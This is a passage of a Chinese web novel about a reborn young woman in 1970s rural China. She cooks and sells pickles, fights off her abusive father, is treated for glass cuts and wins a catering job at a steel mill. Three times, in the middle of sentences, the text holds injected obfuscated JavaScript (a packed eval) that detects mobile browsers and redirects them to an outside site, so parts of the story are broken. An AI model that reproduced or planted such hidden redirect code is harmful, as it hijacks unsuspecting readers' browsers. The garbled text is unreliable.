见周翊凡上手做饭熟练又快速，赵小霜也就不跟他再客气了，直接把剥蒜和和面的任务也交给了他，林家三姐弟则在另一边处理赵小霜买回来做卤味和酱菜的原材料，赵小霜买了不少蔬菜，她路上已经盘算过了，油鸡枞里有鸡肉丝，小鱼小虾酱也是荤的，她准备用肥点的五花肉做香菇卤肉酱，再做一个酸辣豆角和糖醋萝卜丁，这样有荤有素，价格口味也可以区分开，让对方多几个选择。 等鱼丸和面条都备好了，赵小霜把蒜切末，用猪油炸成蒜酥备用，接着把蒜酥、野芹菜碎和野葱段倒回锅里翻炒，加入开水，放入鱼丸和面条，面条她特地做成了圆滚滚的粗面，这样吃起来口感有嚼劲，比细面口感更好。等水开了再加一勺胡椒粉，一勺菌菇粉、两勺盐，出锅之前感觉味道不够，赵小霜又加了一勺子生抽提味儿。 小虾不需要去虾线，清洗干净晾干，再把大一点的虾头剪掉防止扎嘴就可以。赵小霜往盆里倒了一点面粉和红薯粉，磕了两个鸡蛋进去，再加一点点盐和花椒粉，直接用手搅拌均匀，让虾均匀地挂上面糊和调料，菜籽油热下锅，大火炸到面糊金黄，虾也变成诱人的红色就可以捞出来了，趁热撒上一些椒盐和花椒碎，吃起来又麻又香，酥酥脆脆的，很适合下酒。 最后再用猪油炒一个鸡蛋，一个青菜，今天的晚饭就可以上桌了。今天的饭菜种类多样，颜色丰富，寻常人家也就逢年过节才这么吃。金黄的鸡蛋蓬松喧软，表面还有一些大火炒出来的焦褐色。炸河虾裹着酥脆的面糊，猪油炒青菜青青脆脆的，表面有一层油光。鱼丸粗面的汤是浓郁的奶白色，鱼丸，面条也都是白的，只在表面有一些野芹菜的嫩绿色。 忙碌了一整天，五个人都已经很累了，今天白天天气热得人抓狂，晚上反倒显得舒服了，赵小霜搬了桌子放到院里，开了两瓶小鱼小虾酱，趁着丝丝的凉风，五个人迫不及待地开饭了。 周翊凡先夹了两筷子青菜，赵小霜用大火蒜蓉爆炒出来的青菜保留了翠绿的颜色，又不会变得软软塌塌，一口下去，又有猪油的香气，又有青菜的脆爽，直接勾的他胃口大开，这下也顾不得什么含蓄礼仪了，大口大口就着炸河虾吃了起来。林建华今天除了干农活，还上山了一趟，这下已经又累又饿，白天热出汗多，渴得他喉咙直冒烟，他直接端起碗喝了一大口汤，鱼丸的鲜味儿已经浸到了汤里，面汤浓郁却又不腻，野芹菜和野葱恰到好处地增加了汤底清香的感觉，吸溜一筷子小麦粉面条，再嚼一个鱼丸，两种不同的筋道口感在嘴里相撞，让人不得不细细咀嚼，大块的虾肉弹牙又鲜甜，配上油炸的蒜酥，让人欲罢不能。 院子里，五个人一时居然没有人说话，都在大快朵颐，直吃到一半，周翊凡才反应过来似的：“……小霜同志，你做的面条实在太好吃了。”林秀英也很开心地夸赵小霜：“妮儿真是太厉害了，普通的青菜也能做得这么好吃！” 看到客人和家人都吃得开心，赵小霜也难掩兴奋，对于做饭的人来说，最好的嘉奖就是吃饭人的开心。一家人吃得脑门直冒汗，西边的天空已经被夕阳染成了嫣红色，后门的金桂随风飘下点点桂花香，远处还不时传来一两声鸟啼，世间最幸福的时刻，也莫过于此了吧！ 吃完饭送周翊凡离开以后，赵小霜就赶紧去做酱菜，这种酱菜都必须腌制至少一晚上，不然调料浮于表面，第一口吃着非常咸，菜又不入味，吃起来寡淡。时间紧迫，她不得不得赶紧开始，好在这些小菜做法简单，有林秀英的帮忙，赵小霜没费多大功夫就备好了材料。 她先把所有的萝卜切成一厘米见方的小块，用盐腌制出水，再洗干净攥干水分，放进干净的大坛子里，起锅烧水，倒上大量的白醋，一些冰糖，烧开以后晾凉，倒入坛子，加上几小段小米辣，密封放到院角阴凉处就可以，这样的糖醋萝卜丁做出来白净透亮，吃起来脆爽可口，酸辣解腻，适合跟肉菜一起吃。 长豆角去掉两段，清洗干净，用开水烫一分钟烫到变色，盘着塞进坛子里，倒上刚才的糖醋汁，再加上蒜末、小米辣、花椒粉、姜片和白酒，这个酸辣豆角吃起来是更辛辣的，但里边的冰糖也可以缓解一点入口的冲，让辣味儿变得绵润，不至于一吃就呛到，腌制好以后切段直接吃或者用来炒肉炒鸡蛋都非常不错。 林家三姐弟跟着赵小霜忙活了一晚上，在赵小霜的指导下，大家现在都对做饭得心应手了。最后一家人做出来四坛子酸辣豆角，三坛子糖醋萝卜丁，还有十五瓶香菇卤肉酱，二十瓶油鸡枞，三十瓶小鱼小虾酱。明天赵小霜准备先早起做点红油猪耳朵，再把腌好的菜分装到瓶子里一起带去县城，把钢铁厂王厂长要的给他以后，再去其他地方卖剩下的。今天事情太多，也没来得及回中医馆，明天她可以把院里的药材一并带过去卖掉。 赵小霜还想再算算进账，昨天卖红油猪耳朵、油鸡枞和鱼虾酱一共得了四十二块五毛钱，买玻璃花了七块九毛钱，买食材花了十二块三毛钱，最后手里剩下二十二块三毛钱，加上之前的六十八块五毛钱，现在手里一共有九十块八毛钱了！ 她重生回来已经快一个月了，手头的钱现在逐渐多了起来，她想早点带妈妈去检查身体，她想知道林秀英到底生了什么病，才会在短短的两年内撒手人寰。但思来想去，却找不到合适的由头，林秀英是绝不会花钱去体检的，现在的人也没有什么体检的概念，身体不舒服能去县医院的已经是条件很好的家庭了，不过好在现在她们离开了家里，手头也有了一些钱，万一有什么事儿赵小霜也好做准备。 赵小霜活动了一下脖颈，晚上一直低头做东西让她的肩膀和脖子都酸疼无比，但身体的疲惫和对未来的美好期望让她很快就进入了梦乡。 第二天一大早，却来了一个不速之客。 早上林家三姐弟照常去上工，大队的麦子打的差不多了，接下来还得摊场、翻场、扬场、晒麦，有的地方还得收高粱穗。谷子收回来以后一般都要轧三遍，翻三遍，再用木锨把谷子借巧劲儿均匀散到空中，借助风把谷子里的杂草尘土去掉，这是一项体力活儿，更是一项技术活儿，也需要大量的青年人来接替倒班，因此这半个月以来，大家都忙的不可开交。 赵小霜起来以后啃了两口窝窝头，去院里处理了猪耳朵，刚把红油调料调好，大门外却传来了一阵一阵嘈杂的声音，像是有人在吵架一样，赵小霜本来没准备管，结果外边的声音却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883662|176415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越来越大，好像还朝着她家门口来了？ 赵小霜竖起耳朵听着，这声音怎么这么耳熟？还没等赵小霜想起来，门外就传来了粗暴的敲门声，像是要把门砸烂一样。 “林秀英！给老子出来！再不出来我踹门了！” 嚯，这不是她那个便宜爹吗！居然找到这里来了，赵小霜心里升起一股子无名火，前世的她可能会害怕，会忍让，而现在她只想冲出去狠狠揍人。 眼看屋里的人没有动静，赵令强往后退了退，开始用脚狠狠地踹向本就不结实的木门。 赵小霜捏紧了拳头，她长出一口气，走过去开了门，赵令强还在踹，木门打开的一瞬间，差点把赵小霜给踹倒了！ 门外除了赵令强，还聚集了好多街坊邻居，大家都围着门探头探脑窃窃私语地讨论着，赵令强见赵小霜开门了，走进院里，大手一挥道：“走！跟我回去！” 赵小霜咬着牙：“我不回去！这儿就是我家！” 赵令强一听又急了，撸起袖子就要打她，被旁边的人拦了下来，他恨恨地啐了一口：“你个小兔崽子，回林家庄住了几天不知道自己姓啥了是吧！我说让你回家你就赶紧回家！别不知道好歹！把你妈也叫上，快点的！” 赵小霜不知道赵令强到底为什么非要“接”她俩回家，她和林秀英都走了一个多月了，要找早就找了，为什么偏偏是现在？她和林秀英不在家，不是更方便他和王雪兰偷情吗？赵小霜想不明白，她瞪着眼睛看赵令强，一字一句地说道：“我、不、回、去！” 旁边的大婶看不下去了，开口劝道：“闺女，你就别倔了，你爹大老远过来接你俩，也是挂念你们，一家人有啥过不去呢，你也体谅体谅你爹，啊。” 体谅，呵，真是不经他人苦反劝他人善，被赵令强打的时候，领居街坊劝林秀英忍一忍，体谅一下大男人在外挣钱不容易。现在她们跑了，还要被劝大度善良，再回去接着过那样的苦日子！赵小霜冷冷地看着赵令强，还有他旁边的“热心群众”，开口说道：“我上学是妈妈供的，吃饭从来没粘过荤腥，你对我和妈妈非打即骂，这次要不是我们跑回来，你就要活生生把我们打死！” 赵令强显然失去了耐心，他眉毛一竖，大声嚷嚷起来：“我不管你这这那那的，我养你这么多年，花的钱怎么也有上千了！王农栋已经说好了给我300块钱彩礼，你不嫁过去就由你来出这个钱！” 这下赵小霜听明白了，原来是上她这儿来讹钱来了！ 赵小霜心寒极了，她冷冷地笑了一声：“赵令强，我今天还叫你一声爹，是看在你当初救了林家人的面子上，钱，我一分没有，要命，有一条！你有本事就拿去，从此以后我们再也不欠你的！” 赵令强没有想到一向逆来顺受的受气包居然敢这样顶嘴，一时气急，抬手就是一巴掌，赵小霜被他打的一个趔趄，心中的愤恨再也掩藏不住，她转身拿起门口的铁锹就要和赵令强拼命，赵令强人高马大，直接伸手抢夺着赵小霜的铁锹，嘴里骂骂咧咧地去拽她的头发，旁边的人着急拉架，后边看热闹的又想往前挤一挤看看，一时乱成一团。 扭打中，赵小霜被赵令强狠狠地推倒在地，旁边几个拉架的也跟着赵小霜摔到了存放的玻璃板上，一时间玻璃的碎裂声，人们的痛呼声，赵令强得意的骂声交织响起，赵小霜感觉有玻璃扎进她的皮肤，一股一股的热流从手中流出。 就在这时，门外传来了几声喊叫：“公安来了！公安来了！让一下！都让一下！” 12. “你对象？” 听到“公安来了”，赵令强一下子有些怂，他扭头看了看倒在地上的赵小霜，恶狠狠地指了指她，混在看热闹的人群里往巷子外边溜了出去。 “都散了都散了！” 一个穿着白衬衫的高大身影出现，驱散了还挤在门口看热闹的人群，他走近扶起赵小霜，又检查了一下周围人的伤势，都伤的不重，只是蹭破点皮，而赵小霜就比较惨了，她的手心正中间被一块玻璃斜扎进去，鲜血正汩汩地留着。 庄白川来不及解释他为什么过来，也不敢贸然去拔赵小霜手心的玻璃，他着急忙慌地把赵小霜连拖带抱地放到后座上，骑着车带她去县医院。 庄白川简直要把自行车轮蹬出了火星子，他这两周回了川阳市，今天终于回来县里，想着把买的雪花膏和奶油酥带给赵小霜，没成想刚到林家庄，就看到这样的一幕。庄白川已经看不到听不到任何声音了，他满脑子都是赵小霜躺在玻璃碴上的样子，心中一阵一阵的抽痛着，他又加快了蹬车的速度，平时骑车快一个小时的路程，庄白川骑了二十几分钟就到了。 此时赵小霜手心的血干涸了不少，她的掌心酥酥麻麻地疼着，但她的表情却异常冷静，她在心里盘算着到底如何带家人摆脱赵令强，主动害人的事情她做不来，但赵令强一而再再而三地打她，害她，把她往死路上逼，赵小霜终于意识到逃跑不是办法，要“一击毙命”把对方解决掉，才能没有后顾之忧。 赵小霜想了想，赵令强还不知道她已经知道自己出轨的事情，这方面不会设防，她要抓到他乱搞男女关系的证据，让别人发现赵令强和王雪兰的奸情。这个年代乱搞男女关系是非常严重的问题，被发现了很可能会拉到街上去游街示众，还会被扔石头。赵令强为了保住自己的工作，也会想办法隐瞒这个事情，赵小霜准备拿捏这一点，逼迫赵令强和林秀英离婚。 但具体怎么做，赵小霜还没有想好，眼下已经到了县医院，庄白川停好车，想扶赵小霜下来，赵小霜却先一步跳了下来：“谢谢你，庄同志，我没什么事，自己过去就行。” “那怎么能行！你看你这满身的血……你怎么都不懂得保护一下自己呢？我每次见你……”庄白川摇了摇头，拉着赵小霜就往急诊室赶，“不说这些了，你的伤口要紧，你先去包扎，我去交费。”庄白川把赵小霜送进急诊，又转身去找收费处。 前台的小护士还是上次给赵小霜扎针的女生，她看到赵小霜这一身血吓了一大跳，直直地站了起来，赵小霜把手摊给她看，说：“没事，只是手划伤了。” 小护士带着她去处理室，用生理盐水冲洗干净她皮肤上的泥土和沙子，再用镊子小心翼翼地拔出掌心中间的玻璃，周围还有一些细细碎碎的玻璃碴子，有的扎的很深，很不好夹，小护士额头都出了一层细汗。就在这时，周翊凡的声音从门口传来：“我来吧。” 周翊凡接过护士手中的镊子，另一只手轻轻捏着赵小霜受伤的手，熟练又仔细地把玻璃碴子挑出来，“怎么这么不小心。”周翊凡戴着乳白色的橡胶手套，触感有些冰凉，不等赵小霜解释，他就起身去柜子里拿了碘酒：“消毒会很疼，你忍一下。” 碘酒浇在伤口上，赵小霜瞬间感觉到火辣辣的疼痛，尤其是掌心的伤口又深，疼得她她一瞬间眼里就蓄满了泪水，呲牙咧嘴了起来，周翊凡看到她的表情，手下的动作轻缓了一些，但酒精的灼烧仍然让赵小霜感到钻心刺骨地疼，周翊凡顿了顿：“再忍一下，马上就好了，不消毒会发炎，后边更疼。” 消完毒，周翊凡给她拿纱布包扎好，本来已经干涸的血痂和玻璃碴一块被清洗掉，血又沿着纱布一点点渗透了出来，殷红一片，好在是处理完了，赵小霜忍着眼泪，浑身发抖地舒了一口气。周翊凡看着有些不忍，嘴里却责怪似的说她：“知道疼以后就小心一点，刚买的玻璃怎么就能碎成这样？还把自己给扎了。” 赵小霜没有解释，只是摇了摇头：“对不起，我也不是故意的。” 周翊凡一句话哽在喉咙里，明明是在关心她，被她说的好像他在关心玻璃一样，但看着赵小霜那双含着泪花的眼睛，周翊凡也说不出什么重话了，起身给她开了消炎药，就要去给她交钱。这时庄白川着急忙慌地闯了进来，看到赵小霜红肿的眼眶，赶紧捧起她的手看了看，见已经包扎起来，他松了一口气，转身向周医生道谢：“谢谢你啊大夫，这个是要拿药是吧，我去交钱。” 说着他就从周翊凡手里拿过了缴费单，出门交费取药去了，周翊凡似笑非笑地看着赵小霜：“你对象？” 赵小霜摇摇头：“就是之前认识的人罢了。” 周翊凡沉默了一会儿，开口道：“玻璃我明天再去和你买，你要是着急等我下午下班以后去买也行。” 赵小霜却拒绝了：“不好再麻烦您了周医生，而且我今天答应了中午钢铁厂要去送菜，我一会儿就得走了。” “你都伤成这样了，你还要乱跑？” “我哪里乱跑了，我有正事的，而且只是伤了手，我能走能跳的，你看！”赵小霜明显是缓过来了，她站起来跳了两下，周翊凡被赵小霜气笑了：“医务室里不许跑跳，赶紧坐下歇着。” 赵小霜乖乖地坐下了，周翊凡想了想，提出把自行车借给赵小霜，好让她省点力气，赵小霜却不好意思地挠了挠头：“我……我不会骑自行车……”上一世家里没有买自行车，后来和庄白川结婚搬到川阳市，她一天到晚在家伺候庄家的老老少少，偶尔出门也是庄白川骑车带她，所以她一直没有学会骑自行车。 庄白川取了药回来，他拿了一盒口服的消炎药，平时一丝不苟梳理整齐的头发被风吹得有点乱，衬衫最上边的一颗扣子也崩开了，他擦了擦额头上的汗珠，问道：“大夫，她这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883663|176415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个还需要做什么？能回家了吗？” 这是庄白川第二次救她了，看着他这一副着急的样子，说不动容那是假的，但想起前世的种种，赵小霜仍然狠了狠心没有理会心里那点悸动。 周翊凡叮嘱了赵小霜两句，让她注意不要碰水，隔天来医院检查伤势和换药后，就放他俩走了。 “小霜，我送你回去吧。”庄白川略带担忧地看着赵小霜。 这次赵小霜没有再拒绝，昨天答应了厂长中午把酱菜送到，现在已经十点多了，她如果自己走回林家庄再走过来，时间上肯定来不及，这次的机会很难得，她说什么也不想错过。只是时间太紧迫，红油猪耳朵她刚做出来，其他卤味却没来得及做，本来今天是休息日，赵小霜想着出来买东西的人多，想趁机再多卖点，眼下估计是不成了。 好在已经是秋天，把肉挂在井里，一两天也不至于坏，明天再做也完全可以。 赵小霜回家以后把酸辣豆角和糖醋萝卜丁分装了几个小瓶子，和香菇卤肉酱、红油猪耳朵等一块装起来，又带上院子里的药材，和庄白川一同出门了。有庄白川的自行车，赵小霜终于赶在十二点一刻赶到了钢铁厂，今天是休息日，厂里没什么人，警卫大爷正半躺在椅子上打着盹。听到动静，他半睁不睁地斜着赵小霜：“今天厂里不上班，找人的话下周再来！” 赵小霜也不恼，她掏出一瓶香菇卤肉酱递给大爷，甜甜地笑着：“大爷，我是王厂长让我来的，您今天值班也辛苦了，这个是我自己做的，您尝尝，拌米饭吃可香了！” 警卫见她长得温温柔柔的，说话又中听，就放手一挥让赵小霜进去了，赵小霜和庄白川告了别，就背着一篓子瓶瓶罐罐去找王厂长的办公室，好在办公楼离大门不远，赵小霜没费什么力气就找到了，她轻轻地敲了敲门：“王厂长？我来送菜，您在吗？” 门里传来几个人交谈的声音，听到敲门声后顿了几秒，赵小霜也不急，她等里边的人过来开门后，才笑着进门，办公室里坐着四五个人，除了王厂长，还有几个年纪比较大的男性和一个优雅的中年女性，赵小霜和他们一一打着招呼，王利民给大家介绍：“这个小同志昨天来咱们厂送东西，我尝了口她做的酱菜，非常好吃，就让她多做了一些，今天大家试一下，看看当节假日的工人福利能不能行？” 王利民没有说“卖”这个字眼，显然也是怕被有心之人抓住把柄，赵小霜赶忙卸下背篓，把酱菜按顺序在桌子上一字排开，“各位领导，我这个都是自己手工做的，虽比不了大鱼大肉，但我保证口味绝对一等一的棒！” 几个人分别开了瓶子，小鱼小虾酱的香味儿最为浓郁，一打开盖子就扑面而来一阵香气，勾的人食指大动，胃口大开，这几个人也还没吃饭，王利民拿了公筷给大家分别夹了一些。几个人打开自己的饭盒，就着酱菜就大口大口吃了起来。 13. 要发财了？！ 赵小霜做的香菇卤肉酱料特别足，她用了新鲜大朵的香菇切成厚丁，又泡发了一些自己晒的香菇干，晒干的香菇肉质更加紧实，菌类的鲜味儿也更明显浓郁，和新鲜的香菇丁配在一起，口感的丰富程度会大大提升。猪肉则选择了肥瘦相间的后腿肉，切成同样大小的丁，猪肉煎出肥油以后倒入洋葱碎炒软，再加上新鲜的香菇丁翻炒，倒上姜末、蒜蓉、酱油、花椒粉、豆瓣酱和干香菇丁，再加上清甜的井水没过食材炖煮，等到汤汁收干浓郁了，就可以装瓶。 她这个做法其实更偏向“卤肉饭”中的卤肉，肉块比较大，能感受到瘦肉的嚼劲和肥油的糯香，几个人拿香菇卤肉酱拌着杂粮饭，再加一勺酸辣豆角，颜色浓郁油润的汤汁混合上米饭，显得晶莹剔透，色泽诱人，吃一口，又能吃到偏硬的干香菇丁，鲜嫩却有嚼劲，那口感不亚于吃肉，而在酱味儿浓郁的香菇卤肉酱中，偶尔又能吃到酸辣的豆角段，清脆爽辣，吃起来别提有多爽了。 有的人则是用馒头配了油鸡枞，大快朵颐后再配一筷子糖醋萝卜丁，萝卜腌制时间不太长，还保留了一点辛辣，吃起来脆脆的，口感是酸甜的，清爽解腻，咬下去还能爆发出汁水，让本来又干又噎的粗粮馒头变得湿润绵软。 几个人就着酱菜大口吃着饭，赵小霜又从背篓里夹出来几筷子凉拌红油猪耳朵，放到干净的饭盒盖上，“这是我自己做的凉拌菜，可能有点辣，但是很好吃，你们尝尝。” 这其中的中年女人刚才一直在慢条斯理地咀嚼着，她头发梳得非常精致板正，用黑色的发卡低低地盘了一个发髻，虽然也穿着劳动布制成的全套制服，气质却亭亭玉立。她看到红油猪耳朵，眼神中透露出一些好奇的打量，小小地夹了一筷子品尝了起来。 这个中年女人叫安静丽，是南江省人，因为工作变动来到西顺县，在钢铁厂负责管理生产，也是副厂长，和王利民属于同个等级，但管理的方向不同。南江人热爱吃辣，麻辣香辣重辣口味的菜尤其多，那边的小孩都能在七八岁的时候吃整整一盘辣子，而川阳市和西顺县的当地人一般不怎么吃辣，虽然产辣椒，但基本都是出口到其他省市卖掉。国营饭店口味相对大众，也很少有这种重油重辣的菜，安静丽自从调到西顺县钢铁厂以后，就再没吃到过和家乡一样口味的饭菜了。 此时她嚼着脆脆的猪耳朵，猪耳朵还带了一些脆骨，吃起来嘎嘣脆，猪皮的部分却柔韧有弹性。红油的辣味虽远不及南江省的刺激，却带一点麻辣的感觉，吃起来辣而不呛，吃到后边，还能感觉到生蒜的辛味儿从舌根蔓延开来，味道层次非常丰富，她一吃就停不下来，直吃的额头上冒出细密的汗珠。她已经很久没有吃过这么好吃的辣菜了，虽然这个辣度还远远不够，但红油的香味儿还是勾起了她的思乡之情。 看得出来，大家都非常满意赵小霜做的酱菜，王厂长让大家举手投票，一番商议过后，最终订购了五十瓶油鸡枞，五十瓶小鱼小虾酱，香菇卤肉酱定价比较高，要一块三，所以只定了二十瓶，萝卜丁和豆角一瓶四毛钱，王厂长直接各定了六十瓶，这次生意做成了，赵小霜能拿到174块钱！除去原材料的成本，也能赚大概一百块钱呢！ 赵小霜把数量和种类都记到纸上，收拾了背篓和大家道谢了就准备走。 这时，一直没怎么说话的安静丽开口了：“小同志，这个月底的节日活动会有领导来，我们也想给工人们改善一下伙食，我觉得你做的这个猪耳朵就不错，你还会做别的吗？” 赵小霜赶紧应答：“我还会做很多菜呢，土豆炖牛腩，地三鲜，鱼香肉丝……” 赵小霜看出来眼前这个女人爱吃辣，红油猪耳朵和辣味儿的小鱼小虾酱她吃了不少，又添了几个辣的菜来说：“辣烧鱼，水煮鱼，鲜椒兔丁，毛血旺，我都会做！” 安静丽明显露出了满意的神色，她起身自我介绍道：“我姓安，是厂里管理生产的，我觉得你手艺很不错，月底的活动厂里需要招待领导，我想交由你来负责一部分，你回去先拟一个菜单，下周带来给我，顺便去食堂的后厨试一下，我们也看看你的手艺。” 她顿了顿，又开口：“我可以给你开五元一天的薪资，备菜做菜一共算三天，食材的钱另算。你主要负责菜品研发，我会找两个人来帮你一起做。当然，这个活儿很累，比起你的买卖来，价格有些低，你自己考虑一下。” 赵小霜没有多想，就一口答应了下来，十五块钱相比较酱菜的一百多块钱是显得少，但也是很大一笔钱了，还不需要考虑做菜成本的问题，纯属用脑子和体力换钱，安厂长开的这个条件确实是非常不错。赵小霜也不是那种挣了点钱就飘飘然的人，蚊子肉再少也是肉，想挣钱的人才不会嫌弃小钱，再说十五块钱都可以买八九十斤白面了！可完全不是小钱！ 不过最主要的是，现在赵小霜手头能得到的食材比较有限，所以一直只能做酱菜和卤味，给钢铁厂打工可就不一样了，她可以开介绍信去采买各种食材，能得到的调料也会比现在更丰富，场地食材调料都有，她就能更好地发挥自己的厨艺。这次可能只有两天时间，但听这几个人说月底的活动领导也会来，她推测在场的人不会少，如果她能抓住机会，把自己介绍出去，说不定能有更多的人来邀请她做饭，等资源积累好了，还可以自己开个饭店呢！ 就算到时候没搭上人脉，也得到了一次锻炼的机会，毕竟她上一世再怎么做，最多也就做八九个人的饭菜，而钢铁厂自己的领导就有十几个个，再加上上边视察的领导，少说也得三十几人，最少得坐三桌。赵小霜上一世去深市培训学过商务饭局的管理，这次的席面其实就是一个商务饭局，但又要考虑时代的特殊性，80年代的商务饭局大多是为了谈生意做买卖，而70年代的“工作餐”还要考虑简朴务实，每个人的餐标不能超过三块钱，不然很有可能被说成“资产阶级作风”。 因此赵小霜要想办法在有限的预算中做出创新，既要荤素搭配，还要色香味俱全。她除了要研究菜品，还要统领其他人一起做菜，活动当天时间比较紧迫，出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883664|176415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 菜的顺序、流程、时间都要提前规划好，不然到时候很可能会出现上一个菜的盘子空了，下一个菜还没接上，或者有的菜上太早了口感变差了等等的情况，这些都提前需要考虑到。 这次的席面制作对于赵小霜来说，无疑是一个难题，但赵小霜也只能选择相信自己，离月底还有十几天，她准备把手头的事情都做完，修缮房屋的事情只要启动了，家里还有三个大人可以看着，后续就不需要她再操心。提前把王厂长要的酱菜都做出来以后，她就可以安心研究菜品了。 赵小霜又和安厂长讨论了招待的人数、个人忌口和菜品标准，这才和他们告别。从钢铁厂出来已经是下午四点了，赵小霜还背着半背篓药材呢，她怕中医馆太晚了关门，紧赶慢赶地朝中医馆走去。 赶到中医馆，赵小霜已经满头是汗，馆里的孙芷星看到她，照例给她打了一碗乌梅汤，今天的乌梅汤冰糖放的少，喝起来更酸，却也让人口齿生津，非常解渴。赵小霜一口气把乌梅汤灌下肚，才将将喘匀了气。 “同志，你昨天怎么没回来呀，我爷爷等你等到十点多呢。” 赵小霜特别不好意思地道着歉：“实在对不住，昨天临时有事，办完也是太晚了就没来打扰，没想到……” 门帘后边传来了孙老爷子的声音：“你也是真心大呀，这么多药材你就大大咧咧地扔在这儿，管都不管了！” 孙老爷子边说边掀开帘子走了出来，他哼了一声：“亏我还怕给你弄丢了，看到半夜。” 赵小霜看出来孙老爷子并不是真的生气，她赶紧赔着笑脸说：“哎呀老爷子，放在您这儿我可放心了，我今天正好把家里的都带过来了，您看看，有黄连，紫灵芝，党参，都是我从山上采的，嘿嘿，给您便宜点，就当我赔不是了。” 孙老爷子又冷哼一声：“嬉皮笑脸。”手上的动作却没停，接下了赵小霜的背篓，上次从赵小霜这里买的药材品质都非常好，用来制药药效也非常不错。昨天她放在这儿的黄连孙陆堂看过了，个头大不说，内里的芯都黄澄澄的，实在难得一遇，孙陆堂早些年也自己上山采药，知道这行当有多辛苦，赵小霜看着比他孙女儿芷星还小一点，却能上山采到这样好的药材。赵小霜的脸上还有一道很长的血痂，手上又包着纱布，不用想也知道这孩子没少受伤和吃苦，因此孙陆堂打心底里也对赵小霜有了一些长辈的心疼。 赵小霜把背篓里的药材也取出来，按类别和昨天的药材归置到一起，孙陆堂大概清点了一下药材，直接开出了四百元的高价，赵小霜眼珠子都要瞪掉了，她之前自己称过这些药材，就算按最高价算，也就三百五十左右，况且药材采下来来回搬运，或多或少还是折损了一些的。 赵小霜连连摆手：“孙大夫，您是不是算错了呀，我之前算过，这些顶多三百五十，您再好好算一下呀。” 孙陆堂竖起眉毛：“怎么？觉得我老头子老眼昏花不会算数了？”他扭头朝赵小霜翻了个白眼：“没见过你这样做买卖的，生怕多挣钱。” 14. 土布和棉花 赵小霜嘿嘿地笑着：“哎呀老爷子，我都是做诚信买卖的，您快再仔细算算。” 孙陆堂架不住赵小霜这软磨硬泡的，只好拿了个秤挨个称重算钱，黄连品质好，孙陆堂给她按一公斤四十三算的，其他就按正常的市场价收购，最后算下来这这一大桌子药材一共有三百六十四块钱，孙陆堂要给她三百七十元，这次赵小霜没有再拒绝，她笑眯眯地接受了老爷子的好意：“太谢谢您啦老爷子，您真是慧眼识珠，火眼金睛，以后有药材我可还来您这儿卖啊。” 卖完药材，桌子下还有两坛子五味子酒，赵小霜帮孙老爷子把药材搬进后院的西厢房里，把五味子酒也拿起来：“老爷子，这是用我自己采摘的五味子泡的酒，我也不知道您爱不爱喝酒，但是今年的五味子长得特别好，泡出来的酒味道肯定也好，您对我帮助特别大，我没什么能感谢您的，这酒就当小辈儿带给您尝个鲜。” 孙陆堂面上不显，心里却受用，他轻声笑道：“油嘴滑舌的。”接过这两坛子酒，又说：“你对药材和药性还挺了解的。” “在您面前哪敢说了解，我就是之前看过点这方面的东西，懂点皮毛。” 赵小霜接过这一大沓子三百七十块钱，小心翼翼地把钱揣进衣服的里兜，走两步又不放心地拍一拍。 这可是一大笔钱呀，她马上就可以买自行车了！以后从林家庄到西顺县路程可以缩短一半，她也能载更多的东西了，唯一的问题就是她现在还不会骑自行车，但是看小舅舅他们骑车也都很驾熟就轻，赵小霜觉得自己学起来应该也很快。她再次检查了一下放钱的兜兜，然后就安心地背上背篓准备回家。买自行车是个大事儿，她要先和家里人商量一下，而且现在自行车又得工业票又得排队等，光靠她自己估计很难短时间买来。 等自行车买好了，再喊上大舅小舅妈妈一起帮她采买食材研究食谱，她的手伤口比较深，再恢复也得一个礼拜，这一个礼拜她只能“指挥”别人来干活儿了，虽然赵小霜不想依靠别人，尤其在经历了上一世的事情后，她觉得除了自己强大起来，依靠别人是没有活路的。 但林家的温暖，又让她久违体验到了家的感觉，林建华也总是说她不懂求助，什么事都自己一个人扛，或许，家人对于她就是可以依靠的存在呢？赵小霜的心态在这一个月的时间里悄然发生了变化，真正的强大不是受伤了还硬着头皮死撑，而是懂得借助亲人的力量，渡过难关，再用更强壮的身体去面对生活的困难。妈妈和舅舅都是她最亲近的人，她实在不必为了受伤而感到愧疚。 想到这里，赵小霜在心里做好了决定，农忙再有个七八天就结束了，接下来就是交公粮，分粮食，大家就都能喘口气歇一歇了，正好“薅”着舅舅妈妈帮她一起干活。下个月各家各户都会自己家地窖里囤点白菜萝卜，缝补一下衣裳，修修农具，再上山捡点柴火冬天烧火用。赵小霜无比庆幸自己这个月选择了上山采药，等农忙结束，这些好东西哪里还轮得到她呀？ 